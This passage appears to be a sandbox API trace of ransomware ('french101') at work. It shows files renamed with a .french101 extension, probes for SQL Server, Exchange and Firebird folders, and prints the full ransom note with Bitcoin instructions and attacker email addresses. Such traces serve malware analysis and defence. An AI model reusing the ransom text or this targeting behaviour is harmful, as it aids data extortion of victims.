nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaafc8*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0281.460] WriteFile (in: hFile=0x308, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xc2, lpOverlapped=0x0) returned 1 [0281.460] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.460] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.460] CloseHandle (hObject=0x308) returned 1 [0281.462] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1045\\tgsjuNw7TIfIFWwNB87mM3S2WeDxQ5RS7ijSvAjzuRCGPQ.french101" (normalized: "c:\\588bce7c90097ed212\\1045\\tgsjunw7tififwwnb87mm3s2wedxq5rs7ijsvajzurcgpq.french101")) returned 1 [0281.463] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\tgsjuNw7TIfIFWwNB87mM3S2WeDxQ5RS7ijSvAjzuRCGPQ.french101" (normalized: "c:\\588bce7c90097ed212\\1045\\tgsjunw7tififwwnb87mm3s2wedxq5rs7ijsvajzurcgpq.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0281.463] SetFileTime (hFile=0x308, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0281.463] CloseHandle (hObject=0x308) returned 1 [0281.463] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\tgsjuNw7TIfIFWwNB87mM3S2WeDxQ5RS7ijSvAjzuRCGPQ.french101", dwFileAttributes=0x80) returned 1 [0281.464] CloseHandle (hObject=0x308) returned 0 [0281.464] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.464] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.464] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.464] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.464] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0281.464] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.464] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.464] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0281.464] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.464] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0281.464] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da210 [0281.465] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0281.465] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0281.465] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0281.465] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1045\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0281.465] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0281.465] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0281.465] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0281.465] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0281.465] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0281.465] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0281.465] ReadFile (in: hFile=0x308, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0281.465] CloseHandle (hObject=0x308) returned 1 [0281.465] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.465] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0281.466] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.466] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.466] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.466] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.466] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.466] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0281.466] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.466] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.466] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0281.466] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.466] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.466] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0281.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0281.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.467] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0281.467] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0281.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0281.467] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0281.467] GetLastError () returned 0x12 [0281.467] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0281.467] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.467] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.467] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.467] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.467] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0281.467] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.468] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.468] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0281.468] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.468] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0281.468] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0281.468] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.468] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.468] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.468] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.468] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.468] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0281.468] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.468] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.468] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0281.468] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.468] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.590] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.590] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0281.590] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.590] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.590] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.590] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.590] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.591] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0281.591] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.591] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.591] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0281.591] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.591] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.591] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.591] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0281.591] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.591] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.591] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.591] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.591] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.591] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0281.591] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.591] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.591] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0281.591] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.591] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.591] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.591] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0281.592] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.592] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.592] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.592] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.592] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.592] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0281.592] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.592] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.592] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0281.592] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.592] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.592] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.592] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0281.592] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.592] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.592] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.592] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.592] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.592] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0281.592] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.592] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.593] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0281.593] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.593] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.593] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.593] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0281.593] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.593] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.593] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.593] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.593] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.593] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0281.593] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.593] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.593] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0281.593] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.593] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.593] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0281.593] GetLastError () returned 0x12 [0281.593] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0281.596] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0281.596] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0281.596] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0281.596] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.596] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.596] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.596] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.596] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0281.596] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.596] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.596] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0281.596] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.596] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.596] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.596] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.596] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.597] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.597] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0281.597] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0281.597] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.597] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0281.597] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.597] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.597] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\1046", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\1046") returned 1 [0281.597] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.597] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.597] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.597] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0281.597] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0281.597] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0281.597] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.597] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0281.597] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.598] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0281.598] GetLastError () returned 0x3 [0281.598] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1046\\") returned 0x1b [0281.598] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cea8, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0281.598] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0281.599] GetLastError () returned 0x2 [0281.599] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1046\\") returned 0x1b [0281.599] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cea8, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0281.599] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0281.599] GetLastError () returned 0x2 [0281.599] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1046\\") returned 0x1b [0281.599] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0281.599] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0281.599] GetLastError () returned 0x2 [0281.599] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1046\\") returned 0x1b [0281.599] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0281.600] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0281.600] GetLastError () returned 0x2 [0281.600] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1046\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1046\\") returned 0x1b [0281.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec0200, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0281.600] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0281.600] GetLastError () returned 0x2 [0281.600] CharLowerBuffW (in: 